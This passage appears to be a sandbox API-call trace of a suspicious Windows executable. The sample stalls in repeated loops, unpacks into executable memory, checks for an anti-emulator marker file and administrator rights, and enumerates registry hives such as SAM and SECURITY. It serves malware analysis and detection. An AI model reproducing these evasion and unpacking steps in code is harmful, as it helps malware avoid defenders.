lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.617] GetAsyncKeyState (vKey=58) returned 0 [0034.617] GetKBCodePage () returned 0x1b5 [0034.617] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.617] GetFocus () returned 0x0 [0034.618] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0034.618] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin")) returned 0x2e [0034.618] Sleep (dwMilliseconds=0x94) [0035.020] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x76e21856) returned 0x0 [0035.021] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0035.032] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x76e21856) returned 0x0 [0035.032] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0035.033] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e249d7) returned 0x0 [0035.033] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21222) returned 0x0 [0035.033] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21856) returned 0x0 [0035.033] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e2435f) returned 0x0 [0035.033] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0035.034] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0035.034] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0035.034] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0035.035] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0035.037] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0035.038] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0035.038] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0035.038] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0038.200] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.210] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2100000 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x104) returned 0x21007d0 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x21008e0 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100968 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x21009f0 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100a78 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100b00 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100b88 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100c10 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100c98 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100d20 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100da8 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100e30 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100eb8 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100f40 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2100fc8 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x2101050 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x80) returned 0x21010d8 [0038.218] RtlAllocateHeap (HeapHandle=0x2100000, Flags=0x8, Size=0x400) returned 0x2101160 [0038.219] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x21e0000 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21e07d0 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21e0858 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21e08e0 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x184) returned 0x21e0968 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0af8 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0b40 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0b88 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0bd0 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0c18 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0c60 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0ca8 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0cf0 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0d38 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0d80 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0dc8 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0e10 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0e58 [0038.219] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0ea0 [0038.220] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0ee8 [0038.220] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0f30 [0038.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin")) returned 0x2e [0038.220] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21e0f78 [0038.220] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2c) returned 0x21eb828 [0038.225] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0038.225] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0038.226] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0038.226] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0038.226] GetLastError () returned 0x7a [0038.226] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x140) returned 0x21eb860 [0038.226] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x21eb860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x21eb860, ReturnLength=0x18fbec) returned 1 [0038.226] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5f4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.226] EqualSid (pSid1=0x5f4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x21eb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0038.226] EqualSid (pSid1=0x5f4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x21eb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0038.226] EqualSid (pSid1=0x5f4a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x21eb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.226] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.226] NtClose (Handle=0xc4) returned 0x0 [0038.226] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21eb860 [0038.227] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eb8a8 [0038.228] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x280) returned 0x21eb930 [0038.228] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0038.859] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0038.859] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.859] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebc58 [0038.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21ebc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0038.859] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.859] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc58) returned 1 [0038.859] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebca0) returned 1 [0038.859] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.859] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x21eb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0038.859] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.859] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebc58 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebca0) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc58) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x21eb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebc58 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21ebc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc58) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebca0) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x21eb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebc58 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebca0) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc58) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x21eb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebc58 [0038.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21ebc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0038.860] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc58) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebca0) returned 1 [0038.860] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.860] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x184) returned 0x21ed040 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebca0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, 